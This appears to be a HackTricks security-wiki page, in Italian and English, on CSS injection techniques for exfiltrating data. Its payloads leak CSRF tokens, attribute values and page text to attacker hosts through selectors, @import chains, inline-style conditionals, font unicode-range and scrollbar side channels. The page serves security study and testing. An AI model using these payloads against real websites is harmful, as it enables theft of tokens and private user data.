CSS Injection
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
CSS Injection
LESS Code Injection
LESS è un popolare pre-processore CSS che aggiunge variabili, mixin, funzioni e la potente direttiva @import. Durante la compilazione il motore LESS fetch the resources referenced in @import e include (“inline”) i loro contenuti nel CSS risultante quando l’opzione (inline) è utilizzata.
{{#ref}} less-code-injection.md {{/ref}}
Selettore di attributo
I selettori CSS sono creati per corrispondere ai valori degli attributi name e value di un elemento input. Se l’attributo value dell’elemento input inizia con uno specifico carattere, viene caricata una risorsa esterna predefinita:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Tuttavia, questo approccio presenta una limitazione quando si tratta di elementi input nascosti (type=“hidden”) perché gli elementi nascosti non caricano gli sfondi.
Bypass per elementi nascosti
Per aggirare questa limitazione, puoi targettare un elemento sibling successivo usando il combinatore ~ (general sibling). La regola CSS si applicherà allora a tutti i sibling che seguono l’input nascosto, causando il caricamento dell’immagine di sfondo:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Un esempio pratico di sfruttamento di questa tecnica è dettagliato nello snippet di codice fornito. Puoi vederlo qui.
Prerequisiti per CSS Injection
Perché la tecnica di CSS Injection sia efficace, devono essere soddisfatte le seguenti condizioni:
- Payload Length: Il vettore di CSS injection deve supportare payload sufficientemente lunghi per ospitare i selettori creati.
- CSS Re-evaluation: Devi avere la possibilità di incorniciare la pagina, necessario per innescare la rivalutazione del CSS con payload appena generati.
- External Resources: La tecnica presuppone la possibilità di usare immagini ospitate esternamente. Questo potrebbe essere limitato dalla Content Security Policy (CSP) del sito.
Blind Attribute Selector
Come spiegato in questo post, è possibile combinare i selettori :has e :not per identificare contenuti anche da elementi blind. Questo è molto utile quando non si ha idea di cosa ci sia all’interno della pagina web che carica la CSS injection.\ È inoltre possibile usare quei selettori per estrarre informazioni da diversi blocchi dello stesso tipo, come in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combinando questo con la seguente tecnica @import, è possibile exfiltrate molte info usando CSS injection da blind pages con blind-css-exfiltration.
@import
La tecnica precedente ha alcuni svantaggi, controlla i prerequisiti. Devi essere in grado di send multiple links to the victim, oppure devi essere in grado di iframe the CSS injection vulnerable page.
Tuttavia, esiste un’altra tecnica ingegnosa che usa CSS @import per migliorare l’efficacia della tecnica.
Questo è stato mostrato per la prima volta da Pepe Vila e funziona così:
Invece di caricare la stessa pagina più volte con decine di payload diversi ogni volta (come nel caso precedente), caricheremo la pagina una sola volta e solo con un import al attackers server (this is the payload to send to the victim):
@import url("//attacker.com:5001/start?");
- L’import riceverà alcuno script CSS dagli attackers e il browser lo caricherà.
- La prima parte dello script CSS che l’attacker invierà è un altro @import verso il server degli attackers.
- Il server degli attackers non risponderà ancora a questa richiesta, perché vogliamo leakare alcuni chars e poi rispondere a questo import con il payload per leakare i successivi.
- La seconda e più grande parte del payload sarà un attribute selector leakage payload
- Questo invierà al server degli attackers il primo char del secret e l’ultimo
- Una volta che il server degli attackers avrà ricevuto il primo e l’ultimo char del secret, risponderà all’import richiesto al passo 2.
- La risposta sarà esattamente la stessa dei passaggi 2, 3 e 4, ma questa volta proverà a trovare il secondo char del secret e poi il penultimo.
L’attacker seguirà quel ciclo finché non riuscirà a leakare completamente il secret.
You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.
Tip
Lo script cercherà di scoprire 2 chars ogni volta (dall’inizio e dalla fine) perché l’attribute selector permette di fare cose come:
css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }
/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }
Questo permette allo script di leakare il secret più velocemente.
Warning
A volte lo script non rileva correttamente che il prefix + suffix scoperti sono già il flag completo e continuerà avanti (nel prefix) e indietro (nel suffix) e a un certo punto si bloccherà.
Nessun problema, controlla semplicemente l’output perché puoi vedere il flag lì.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element’s inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
Warning
Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: controllare l’elemento style attribute e assicurarsi che l’attributo target sia sullo stesso elemento (attr() legge solo attributi dello stesso elemento).
- Read: copiare l’attributo in una variabile CSS: –val: attr(title).
- Decide: selezionare un URL usando condizionali annidati confrontando la variabile con candidati stringa: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
- Exfiltrate: applicare background: image-set(var(–steal)) (o qualsiasi proprietà che effettua fetch) per forzare una richiesta all’endpoint scelto.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Payload funzionante (virgolette doppie richieste nella comparazione):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Enumerazione dei valori degli attributi con condizionali nidificati:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Demo realistico (enumerazione dei nomi utente):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Note e limitazioni:
- Funziona sui browser basati su Chromium al momento della ricerca; il comportamento può differire su altri motori.
- Più adatto a spazi di valori finiti/enumerabili (IDs, flags, short usernames). Rubare stringhe arbitrariamente lunghe senza external stylesheets rimane challenging.
- Qualsiasi proprietà CSS che fetcha un URL può essere usata per innescare la richiesta (e.g., background/image-set, border-image, list-style, cursor, content).
Automazione: una Burp Custom Action può generare nested inline-style payloads per brute-force dei valori degli attributi: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Other selectors
Altri modi per accedere a parti del DOM con selettori CSS:
- .class-to-search:nth-child(2): Questo cercherà il secondo elemento con classe “class-to-search” nel DOM.
- :empty selettore: Usato ad esempio in this writeup:
css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }
Error based XS-Search
Riferimenti: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
L’intento generale è di usare un font personalizzato da un endpoint controllato e assicurarsi che il testo (in questo caso, ‘A’) venga visualizzato con questo font solo se la risorsa specificata (favicon.ico) non può essere caricata.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Uso di font personalizzati:
- Un font personalizzato è definito usando la regola @font-face all’interno di un tag
- Il font si chiama poc ed è recuperato da un endpoint esterno (http://attacker.com/?leak).
- La proprietà unicode-range è impostata su U+0041, mirata al carattere Unicode specifico ‘A’.
- Elemento :
- Un elemento
- Il font-family per questo elemento è impostato su ‘poc’, come definito nella sezione
- Se la risorsa (favicon.ico) non riesce a caricarsi, viene mostrato il contenuto di fallback (la lettera ‘A’) all’interno del tag
- Il contenuto di fallback (‘A’) verrà renderizzato usando il font personalizzato poc se la risorsa esterna non può essere caricata.
Stilizzazione dello Scroll-to-Text Fragment
La pseudo-classe :target viene utilizzata per selezionare un elemento preso di mira da un URL fragment, come specificato in the CSS Selectors Level 4 specification. È cruciale capire che ::target-text non corrisponde a nessun elemento a meno che il testo non sia esplicitamente preso di mira dal frammento.
Sorge una preoccupazione di sicurezza quando gli attaccanti sfruttano la funzionalità Scroll-to-text fragment, permettendo loro di confermare la presenza di testo specifico su una pagina web caricando una risorsa dal loro server tramite HTML injection. Il metodo prevede l’iniezione di una regola CSS come questa:
:target::before {
content: url(target.png);
}
In tali scenari, se il testo “Administrator” è presente nella pagina, la risorsa target.png viene richiesta dal server, indicando la presenza del testo. Un’istanza di questo attacco può essere eseguita tramite un URL appositamente creato che incorpora il CSS iniettato insieme a uno Scroll-to-text fragment:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Qui l’attacco manipola HTML injection per trasmettere il codice CSS, prendendo di mira il testo specifico “Administrator” tramite lo Scroll-to-text fragment (#:~:text=Administrator). Se il testo viene trovato, la risorsa indicata viene caricata, segnalandone involontariamente la presenza all’attacker.
Per mitigare, si devono osservare i seguenti punti:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) è progettato per corrispondere solo a parole o frasi, limitando quindi la sua capacità di leakare secret o token arbitrari.
- Restriction to Top-level Browsing Contexts: STTF opera esclusivamente nei contesti di navigazione di livello superiore e non funziona all’interno di iframes, rendendo qualsiasi tentativo di exploitation più evidente per l’utente.
- Necessity of User Activation: STTF richiede un gesto di user-activation per funzionare, il che significa che gli exploitation sono possibili solo tramite navigazioni avviate dall’utente. Questo requisito mitiga considerevolmente il rischio che gli attacchi vengano automatizzati senza interazione dell’utente. Tuttavia, l’autore del blog post segnala condizioni e bypass specifici (ad es., social engineering, interazione con estensioni del browser diffuse) che potrebbero facilitare l’automazione dell’attacco.
La consapevolezza di questi meccanismi e delle potenziali vulnerabilità è fondamentale per mantenere la sicurezza web e difendersi da tali tattiche di sfruttamento.
Per maggiori informazioni controlla il report originale: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Puoi controllare un exploit che usa questa tecnica per un CTF qui.
@font-face / unicode-range
È possibile specificare font esterni per specifici valori unicode che verranno caricati solo se quei valori unicode sono presenti nella pagina. Per esempio:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch “?A” and “?B” because text node of sensitive-information contains “A” and “B” characters. But Chrome and Firefox do not fetch “?C” because it does not contain “C”. This means that we have been able to read “A” and “B”.
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
La tecnica descritta consiste nell’estrarre testo da un node sfruttando le ligatures dei font e monitorando le variazioni di larghezza. Il processo si articola in diversi passaggi:
- Creation of Custom Fonts:
- Si creano SVG fonts con glyph che hanno l’attributo horiz-adv-x, che imposta una larghezza elevata per un glyph che rappresenta una sequenza di due caratteri.
- Example SVG glyph:
, where “XY” denotes a two-character sequence. - Questi font vengono poi convertiti in formato woff usando fontforge.
- Detection of Width Changes:
- CSS is used to ensure that text does not wrap (white-space: nowrap) and to customize the scrollbar style.
- La comparsa di una scrollbar orizzontale, stilizzata in modo distinto, funge da indicatore (oracle) che una specifica ligature, e quindi una specifica sequenza di caratteri, è presente nel testo.
- The CSS involved: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Exploit Process:
- Step 1: Fonts are created for pairs of characters with substantial width.
- Step 2: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
- Step 3: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
- Step 4: Detection of the three-character ligature is carried out.
- Step 5: The process repeats, progressively revealing the entire text.
- Optimization:
- The current initialization method using <meta refresh=… is not optimal.
- Un approccio più efficiente potrebbe coinvolgere il trucco CSS @import, migliorando le prestazioni dell’exploit.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
This trick was released in this Slackers thread. Il charset usato in un text node può essere leakato using the default fonts installati nel browser: non servono font esterni o custom.
Il concetto ruota attorno all’uso di un’animazione per espandere incrementally la larghezza di un div, permettendo a un carattere alla volta di passare dalla parte ‘suffix’ del testo alla parte ‘prefix’. Questo processo divide effettivamente il testo in due sezioni:
- Prefix: The initial line.
- Suffix: The subsequent line(s).
Le fasi di transizione dei caratteri apparirebbero come segue:
C
ADB
CA
DB
CAD
B
CADB
Durante questa transizione viene impiegato il unicode-range trick per identificare ogni nuovo carattere man mano che si unisce al prefix. Questo viene realizzato cambiando il font a Comic Sans, che è notevolmente più alto del font di default, provocando di conseguenza l’apparizione di una barra di scorrimento verticale. La comparsa di questa scrollbar rivela indirettamente la presenza di un nuovo carattere nel prefix.
Sebbene questo metodo permetta di rilevare i caratteri unici man mano che appaiono, non specifica quale carattere è ripetuto, solo che si è verificata una ripetizione.
Tip
Fondamentalmente, la unicode-range viene usata per rilevare un char, ma poiché non vogliamo caricare un font esterno, dobbiamo trovare un’altra soluzione.
Quando il char è trovato, gli viene assegnato il font preinstallato Comic Sans, che rende il char più grande e attiva una scrollbar che farà leak del char trovato.
Controlla il codice estratto dal PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset con un font di default nascondendo elementi (non richiede risorse esterne)
Riferimento: Questo è menzionato come an unsuccessful solution in this writeup
Questo caso è molto simile al precedente; tuttavia, qui l’obiettivo del rendere specifici caratteri più grandi di altri è nascondere qualcosa come un pulsante in modo che non venga premuto dal bot oppure un’immagine che non verrà caricata. Quindi possiamo misurare l’azione (o la mancanza dell’azione) e sapere se un dato carattere è presente nel testo.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Riferimento: Questo è menzionato come an unsuccessful solution in this writeup
In questo caso, potremmo provare a leak se un carattere è presente nel testo caricando un fake font dallo stesso origin:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Se c’è una corrispondenza, il font will be loaded from /static/bootstrap.min.css?q=1. Anche se non verrà caricato correttamente, il browser should cache it, e anche se non c’è cache, esiste il meccanismo 304 not modified, quindi la response should be faster rispetto ad altre risorse.
Tuttavia, se la differenza di tempo tra la risposta in cache e quella non in cache non è sufficientemente grande, questo non sarà utile. Per esempio, l’autore ha osservato: «Dopo i test, ho scoperto che il primo problema è che la velocità non è molto diversa, e il secondo problema è che il bot usa il flag disk-cache-size=1, il che è davvero premuroso.»
Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)
Reference: This is mentioned as an unsuccessful solution in this writeup
In questo caso puoi indicare del CSS per caricare centinaia di font falsi dallo stesso origin quando si verifica una corrispondenza. In questo modo puoi misurare il tempo impiegato e scoprire se un carattere appare o meno con qualcosa del tipo:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
E il codice del bot è il seguente:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Quindi, se il font non corrisponde, il tempo di risposta quando si visita il bot dovrebbe essere di circa 30 secondi. Tuttavia, se c’è una corrispondenza del font, verranno inviate più richieste per recuperare il font, causando attività di rete continua. Di conseguenza, ci vorrà più tempo per soddisfare la condizione di stop e ricevere la risposta. Pertanto, il tempo di risposta può essere usato come indicatore per determinare se c’è una corrispondenza del font.
Riferimenti
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

